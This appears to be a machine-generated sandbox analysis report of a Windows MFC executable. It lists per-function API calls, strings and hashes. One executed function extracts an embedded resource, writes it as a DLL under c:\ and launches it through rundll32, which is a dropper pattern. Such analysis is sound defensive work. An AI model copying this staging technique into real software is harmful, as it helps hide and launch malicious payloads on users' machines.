InitializeCriticalSection.KERNEL32(?,00000004,00406308,00000000,00000064,000000FF,00000003,00406310,00000000,00000037,000000FF,00000002,00406318,00000000,0000008C,000000FF), ref: 004020C0

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: MessageSend$#3996$Menu$Append$#2086#2863#4160#4710#540#6215#800#823CriticalH_prologInitializeSectionSystem
String ID:
API String ID: 2371848494-0
Opcode ID: bf1e5139828ca2f7575a42d4d539cb4ceebe527546bc2a5505485d4eded29568
Instruction ID: 22c113c14c16facbbd4b385fd64242b7c064b1ff54e6b864585585fb015a5088
Opcode Fuzzy Hash: bf1e5139828ca2f7575a42d4d539cb4ceebe527546bc2a5505485d4eded29568
Instruction Fuzzy Hash: 1B41E6B02407097BE6257B21CC86F6F769DFB84798F10063DF2A5761E1CBB96C008A68

Function 0040141D Relevance: 13.6, APIs: 9, Instructions: 75
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?), ref: 0040144F
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 0040145E
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 0040146D
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 0040148D
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00401499
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004014AB
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004014C7
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004014D3
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004014E5

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ad132ba9e6c3f3ed83570c34e1da1694867b5aed1bc06737ede0cc76b482b387
Instruction ID: bb5fe5f59efd3e526b113e407ce870d9a6257fa786e4d84f1a1b66b5d905c888
Opcode Fuzzy Hash: ad132ba9e6c3f3ed83570c34e1da1694867b5aed1bc06737ede0cc76b482b387
Instruction Fuzzy Hash: 6B215B7161434DBFE721AF24CC80FABBFADFB44394F40052AB59852060C7716C28CBA1

Function 004014F5 Relevance: 13.6, APIs: 9, Instructions: 75windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?), ref: 00401527
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 00401536
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 00401545
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 00401565
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00401571
SendMessageA.USER32(?,000000B6,00000000,?), ref: 00401583
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 0040159F
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004015AB
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004015BD

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 99b8175f4789665816ee58ce95148e85964884c2d1b05ba2febfe70cb83b4eb1
Instruction ID: d9274a69ea71e40b52450c2f1abff6bb4cc12b44bfabd653b35ee0167fd8c358
Opcode Fuzzy Hash: 99b8175f4789665816ee58ce95148e85964884c2d1b05ba2febfe70cb83b4eb1
Instruction Fuzzy Hash: 5A213B7161435DBFEB11AF25CC80FABBFADFB44384F40052AB59852160D7716D289BA1

Function 00401349 Relevance: 13.6, APIs: 9, Instructions: 74windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?), ref: 0040137B
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 0040138A
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 00401399
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004013B5
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004013C1
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004013D3
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004013EF
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004013FB
SendMessageA.USER32(?,000000B6,00000000,?), ref: 0040140D

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 305f06924834a9908d84543f76578ecc6405ed01a93ac79d48c62636bf4700f6
Instruction ID: 56a25f80e609cbd08b066c68ee1e37c059073ee632eaa49d0b548e2ccd918b9e
Opcode Fuzzy Hash: 305f06924834a9908d84543f76578ecc6405ed01a93ac79d48c62636bf4700f6
Instruction Fuzzy Hash: 49215CB160535DBFEB21AF258C80FABFFADFB44394F00052AB59852060C7716D28DBA1

Function 00401000 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401005
#324.MFC42(00000082,?), ref: 0040101B
#567.MFC42(00000082,?), ref: 00401029
#567.MFC42(00000082,?), ref: 00401041
#567.MFC42(00000082,?), ref: 00401054
CreateSolidBrush.GDI32(00FFFFFF), ref: 00401066

Strings

D@, xrefs: 0040102E

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: #567$#324BrushCreateH_prologSolid
String ID: D@
API String ID: 1271399592-116940557
Opcode ID: a93d2b0ed926015932f3efea9d707e5f8f5c25ad2ce72d1844b1993bb421de03
Instruction ID: 13884b46de095b52d8f8717c358092e8eec3470aa280cab25804e1b70b61f98b
Opcode Fuzzy Hash: a93d2b0ed926015932f3efea9d707e5f8f5c25ad2ce72d1844b1993bb421de03
Instruction Fuzzy Hash: 9D01FCB16003549BDB209F69C58978EBBE0FF81348F00443EE9926B2C2C7B85A08D765

Function 00402226 Relevance: 10.5, APIs: 7, Instructions: 46windowCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00402216), ref: 00402237
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00402252
#3286.MFC42(-00000001,?,?,?,?,?,00402216), ref: 00402261
#825.MFC42(?,-00000001,?,?,?,?,?,00402216), ref: 0040226F
#825.MFC42(00000000,?,-00000001,?,?,?,?,?,00402216), ref: 00402275
SendMessageA.USER32(?,00001008,-00000001,00000000), ref: 0040228A
LeaveCriticalSection.KERNEL32(?,?,?,?,?,00402216), ref: 00402294

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: #825CriticalMessageSectionSend$#3286EnterLeave
String ID:
API String ID: 2141797828-0
Opcode ID: 323f0198a590fc7c46d0ed78c3b8e8f05eec79b14fe5701699f0680afc707adc
Instruction ID: b9e60a6790c5ed3c642633d5835f906307b00da717bc424c3a2b37c864f405ef
Opcode Fuzzy Hash: 323f0198a590fc7c46d0ed78c3b8e8f05eec79b14fe5701699f0680afc707adc
Instruction Fuzzy Hash: 64F0F472205215BFE2156B61EE09F8BBB58FF84321F10013BF709B20E19BF4680096A8

Function 00401E2A Relevance: 10.5, APIs: 7, Instructions: 42windowCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401E2F
#324.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E41
#567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E4F
#567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E66
#1168.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E91
#1146.MFC42(00000080,0000000E,00000080,00000066,?,?,?,?,00401C92,00000000), ref: 00401E9F
LoadIconA.USER32(00000000,00000080), ref: 00401EA5

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: #567$#1146#1168#324H_prologIconLoad
String ID:
API String ID: 2995884226-0
Opcode ID: e9fea58024a95a92706cb3ea0515c02a4b245b0f3a3af034628e2e1244cc45d7
Instruction ID: 6195de06ed0686a01f6ea18af6a3778e2a15774cd3760b5cb09f72b4f9ec5dc5
Opcode Fuzzy Hash: e9fea58024a95a92706cb3ea0515c02a4b245b0f3a3af034628e2e1244cc45d7
Instruction Fuzzy Hash: EF01C0B1A00384AAD711EB65C50979FBBA4FF91308F00887EE586732C1C7F81604D7A9

Function 0040174F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00401768
srand.MSVCRT ref: 0040176F
rand.MSVCRT ref: 0040177C
rand.MSVCRT ref: 00401794

Strings

ekimhuqcroanflvzgdjtxypswb, xrefs: 0040175B

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: rand$CountTicksrand
String ID: ekimhuqcroanflvzgdjtxypswb
API String ID: 3923125369-3762667353
Opcode ID: 759b461be63a90c0a6722cfee258f62135b3283f7b68fc9f86cb98f3e6b20c4e
Instruction ID: 0f0927eb61d3c32e8c18992b3a3ed773e98e9a1b9926048b9e47f112dc32a9e4
Opcode Fuzzy Hash: 759b461be63a90c0a6722cfee258f62135b3283f7b68fc9f86cb98f3e6b20c4e
Instruction Fuzzy Hash: 1FF04C33B0030457C7107F6A6984D9BBB999BC9720F01403EFE046B281C6B5940286B4

Function 00401D6F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401D74
#324.MFC42(00000064,00000000), ref: 00401D85
#540.MFC42(00000064,00000000), ref: 00401D93
#860.MFC42(RedTom21@HotMail.com,00000064,00000000), ref: 00401DA9

Strings

RedTom21@HotMail.com, xrefs: 00401D98

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: #324#540#860H_prolog
String ID: RedTom21@HotMail.com
API String ID: 1715175771-4020391281
Opcode ID: 2e6038b0c2a3161042f3a77bc08ef84b8c52d66f33703c1b03fec492057627b6
Instruction ID: 78d62cf22874564550b960a1e2f1980c8c55d506c68ef3259133a31bc2e11175
Opcode Fuzzy Hash: 2e6038b0c2a3161042f3a77bc08ef84b8c52d66f33703c1b03fec492057627b6
Instruction Fuzzy Hash: 9FE06571B403509BD714AB99C50A79EB6A9EF91714F10447FA902773C1C7FC6E009699

Function 004024DF Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 004024F1
_ftol.MSVCRT ref: 00402517
_ftol.MSVCRT ref: 00402525
#4299.MFC42(0000000F,00000041,?,?,00000001), ref: 00402549
#4299.MFC42(0000000F,?,?,000000F1,00000001), ref: 0040256B

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: #4299_ftol$ClientRect
String ID:
API String ID: 3171108694-0
Opcode ID: 5b5269a8b2c3e4b0ac480d2bf8ec9612011b5aad8df481b47eb0e60a219a1807
Instruction ID: 3880c801f612beb6246e745b78d7e2d3a19b48e5053d162d2e00decfba834721
Opcode Fuzzy Hash: 5b5269a8b2c3e4b0ac480d2bf8ec9612011b5aad8df481b47eb0e60a219a1807
Instruction Fuzzy Hash: C51151B1A00209BFDB10DBA9DE59BAEB778FF40744F10027AF501B61E5D7B49D40DA28

Function 004020DA Relevance: 7.5, APIs: 5, Instructions: 24COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004020DF
#2379.MFC42 ref: 00402125

Part of subcall function 00401D6F: _EH_prolog.MSVCRT ref: 00401D74
Part of subcall function 00401D6F: #324.MFC42(00000064,00000000), ref: 00401D85
Part of subcall function 00401D6F: #540.MFC42(00000064,00000000), ref: 00401D93
Part of subcall function 00401D6F: #860.MFC42(RedTom21@HotMail.com,00000064,00000000), ref: 00401DA9

#2514.MFC42 ref: 00402103
#800.MFC42 ref: 00402112
#641.MFC42 ref: 0040211E

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: H_prolog$#2379#2514#324#540#641#800#860
String ID:
API String ID: 1337987987-0
Opcode ID: a4f86554920c1d60b447a310fd9ec504fb6ed513b6fab3962996ee4d40a29264
Instruction ID: 0c37060d93abf7ffef3ab529cf96d0046ab1b8bea522c7ef1cdfd7726eb284c9
Opcode Fuzzy Hash: a4f86554920c1d60b447a310fd9ec504fb6ed513b6fab3962996ee4d40a29264
Instruction Fuzzy Hash: 09F0FE71810518DADB25EFA5C65A7ACB730BF20314F60417FA412761D2DBBC5A09CA59

Function 004010A8 Relevance: 7.5, APIs: 5, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004010AD
#656.MFC42(?,?,00401094), ref: 004010C6
#656.MFC42(?,?,00401094), ref: 004010D5
#656.MFC42(?,?,00401094), ref: 004010E1
#641.MFC42(?,?,00401094), ref: 004010EC

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: #656$#641H_prolog
String ID:
API String ID: 2321568657-0
Opcode ID: 2301cf39d9f84a458cdb1385a3b7908f8fb3180347b8e91d03edffd7431175f3
Instruction ID: e680012da702e7b92035de08c4d7561f67a84a50463a6348afc1be6ddfe969e7
Opcode Fuzzy Hash: 2301cf39d9f84a458cdb1385a3b7908f8fb3180347b8e91d03edffd7431175f3
Instruction Fuzzy Hash: 5DF03071915654DADB2CEBA5CA197DDBBA4BF04318F00456FE066732C2CBF81B08C755

Function 004015CD Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

#2379.MFC42 ref: 004015D2
#4299.MFC42(00000000,00000000,00000028,?,00000001), ref: 00401602
#4299.MFC42(00000032,00000000,0000012C,?,00000001), ref: 00401624
#4299.MFC42(00000168,00000000,00000000,?,00000001), ref: 00401645

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: #4299$#2379
String ID:
API String ID: 453929936-0
Opcode ID: dc378f647d04030cb087140241a589892729b93da9fee3e182db44f2421a5fcb
Instruction ID: 396461380f4f282afe083d313e8dd4ae14482c7760a999395c5db5fab6d4a27c
Opcode Fuzzy Hash: dc378f647d04030cb087140241a589892729b93da9fee3e182db44f2421a5fcb
Instruction Fuzzy Hash: AF01B131240700ABD5318A59CC81FABB3AAAFC4B05F280E2FF183391D1D7BB8841C619

Function 00401CEC Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401CF1
#693.MFC42(?,?,00401CDE), ref: 00401D19
#609.MFC42(?,?,00401CDE), ref: 00401D25
#641.MFC42(?,?,00401CDE), ref: 00401D30

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: #609#641#693H_prolog
String ID:
API String ID: 432028610-0
Opcode ID: 8fceb26bd7cd2eda50943f19653515a01d97790802a6fa3cf18d9ab7d8ca528c
Instruction ID: c1b141184ca5cae31352d23a373f4eac66a41ce64f7327093406d0e5d71bec99
Opcode Fuzzy Hash: 8fceb26bd7cd2eda50943f19653515a01d97790802a6fa3cf18d9ab7d8ca528c
Instruction Fuzzy Hash: F3F0A070920664DACB18FBA4C6193DDBBB8AF14308F00466FA062732C2CBF81B04C795

Analysis Process: ygqcn.exePID: 2060, Parent PID: 1868COMMON

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.5%
Total number of Nodes:	275
Total number of Limit Nodes:	5

Executed Functions

Function 00401A2D Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 209
filesleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000084,IMAGE), ref: 00401A46
LoadResource.KERNEL32(00000000,00000000), ref: 00401A54
SizeofResource.KERNEL32(00000000,00000000), ref: 00401A69
LockResource.KERNEL32(00000000,00000000), ref: 00401A74
memcpy.MSVCRT(00000000,00000000), ref: 00401A7C
wsprintfA.USER32 ref: 00401B2B
CreateDirectoryA.KERNELBASE(?,00000000), ref: 00401B38
Sleep.KERNELBASE(00000064), ref: 00401B40
memset.MSVCRT ref: 00401B4D
wsprintfA.USER32 ref: 00401B74
CreateFileA.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00401B90
WriteFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 00401BA2
CloseHandle.KERNEL32(00000000), ref: 00401BA9
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00401BFA
wsprintfA.USER32 ref: 00401C21
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00401C5C

Strings

c:\windows\system32\rundll32.exe, xrefs: 00401BB1
%s\%s.dll, xrefs: 00401B6E
D, xrefs: 00401C37
%s "%s",QueryPluginInterface %s, xrefs: 00401C1B
c:\%s, xrefs: 00401B25
IMAGE, xrefs: 00401A39

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: Resource$CreateFilewsprintf$CloseDirectoryFindHandleLoadLockModuleNameProcessSizeofSleepWritememcpymemset
String ID: %s "%s",QueryPluginInterface %s$%s\%s.dll$D$IMAGE$c:\%s$c:\windows\system32\rundll32.exe
API String ID: 729933531-2732814730
Opcode ID: f367ddab212173f478f0c3d6209973ce2cd3006af243161d02f2b13398c8c083
Instruction ID: 922f0755652aa06ef568071101b0f14043c98d7905c641deb23ee6d51d764bee
Opcode Fuzzy Hash: f367ddab212173f478f0c3d6209973ce2cd3006af243161d02f2b13398c8c083
Instruction Fuzzy Hash: F86193B2A00248BEDB119BF4CD45FDFBBBCAB89304F1044BAF345B6181DA749A458F65

Function 00402F22 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 00402F4F
__p__fmode.MSVCRT ref: 00402F64
__p__commode.MSVCRT ref: 00402F72
__setusermatherr.MSVCRT ref: 00402F9E
_initterm.MSVCRT ref: 00402FB4
__getmainargs.MSVCRT ref: 00402FD7
_initterm.MSVCRT ref: 00402FE7
GetStartupInfoA.KERNEL32(?), ref: 00403026
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040304A
exit.MSVCRT ref: 0040305A
_XcptFilter.MSVCRT ref: 0040306C

Strings

`@, xrefs: 00402FCF, 00402FD2

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: `@
API String ID: 801014965-3559765445
Opcode ID: 554b2b36ebdbdca76e7e5890daf673f7ab6b653fcba5f1f76f6d923fca04a6ed
Instruction ID: fd41096d9372b4dda24e723cd552983fee23a0ad75fa497c59ca918bbf17219f
Opcode Fuzzy Hash: 554b2b36ebdbdca76e7e5890daf673f7ab6b653fcba5f1f76f6d923fca04a6ed
Instruction Fuzzy Hash: 26418BB0941208AFDB209FA4D945AAA7BBCEB49711B20053FF942B72E5D67949408B28

Function 00401C6A Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00401C6F
#1134.MFC42(00000000), ref: 00401C7F

Part of subcall function 00401E2A: _EH_prolog.MSVCRT ref: 00401E2F
